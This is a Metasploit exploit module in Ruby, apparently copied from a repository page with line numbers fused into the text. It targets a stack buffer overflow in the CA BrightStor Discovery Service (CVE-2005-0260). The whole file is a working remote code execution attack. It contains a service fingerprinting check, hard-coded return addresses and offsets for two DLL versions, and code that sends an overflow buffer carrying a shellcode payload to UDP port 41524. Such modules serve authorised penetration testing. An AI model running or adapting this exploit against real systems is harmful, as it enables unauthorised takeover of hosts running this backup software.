Path: blob/master/modules/exploits/windows/brightstor/discovery_udp.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Udp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'CA BrightStor Discovery Service Stack Buffer Overflow',16'Description' => %q{17This module exploits a vulnerability in the CA BrightStor18Discovery Service. This vulnerability occurs when a large19request is sent to UDP port 41524, triggering a stack buffer20overflow.21},22'Author' => [ 'hdm', 'aushack' ],23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2005-0260'],26[ 'OSVDB', '13613'],27[ 'BID', '12491'],28[ 'URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'],29],30'Privileged' => true,31'Payload' => {32'Space' => 2048,33'BadChars' => "\x00",34'StackAdjustment' => -3500,35},36'Platform' => %w{win},37'Targets' => [38[39'cheyprod.dll 12/12/2003',40{41'Platform' => 'win',42'Ret' => 0x23808eb0, # call to edi reg43'Offset' => 968,44},45],46[47'cheyprod.dll 07/21/2004',48{49'Platform' => 'win',50'Ret' => 0x2380a908, # call edi51'Offset' => 970,52},53],54],55'DisclosureDate' => '2004-12-20',56'DefaultTarget' => 0,57'Notes' => {58'Reliability' => UNKNOWN_RELIABILITY,59'Stability' => UNKNOWN_STABILITY,60'SideEffects' => UNKNOWN_SIDE_EFFECTS61}62)63)6465register_options(66[67Opt::RPORT(41524)68]69)70end7172def check73# The first request should have no reply74csock = Rex::Socket::Tcp.create(75'PeerHost' => datastore['RHOST'],76'PeerPort' => 41523,77'Context' =>78{79'Msf' => framework,80'MsfExploit' => self,81}82)8384csock.put('META')85x = csock.get_once(-1, 3)86csock.close8788# The second request should be replied with the host name89csock = Rex::Socket::Tcp.create(90'PeerHost' => datastore['RHOST'],91'PeerPort' => 41523,92'Context' =>93{94'Msf' => framework,95'MsfExploit' => self,96}97)9899csock.put('hMETA')100y = csock.get_once(-1, 3)101csock.close102103if (y and not x)104return Exploit::CheckCode::Detected105end106107return Exploit::CheckCode::Safe108end109110def exploit111connect_udp112113print_status("Trying target #{target.name}...")114115buf = rand_text_english(4096)116117# Target 0:118#119# esp @ 971120# ret @ 968121# edi @ 1046122# end = 4092123124buf[target['Offset'], 4] = [ target.ret ].pack('V')125buf[1046, payload.encoded.length] = payload.encoded126127udp_sock.put(buf)128udp_sock.recvfrom(8192)129130handler131disconnect_udp132end133end134135136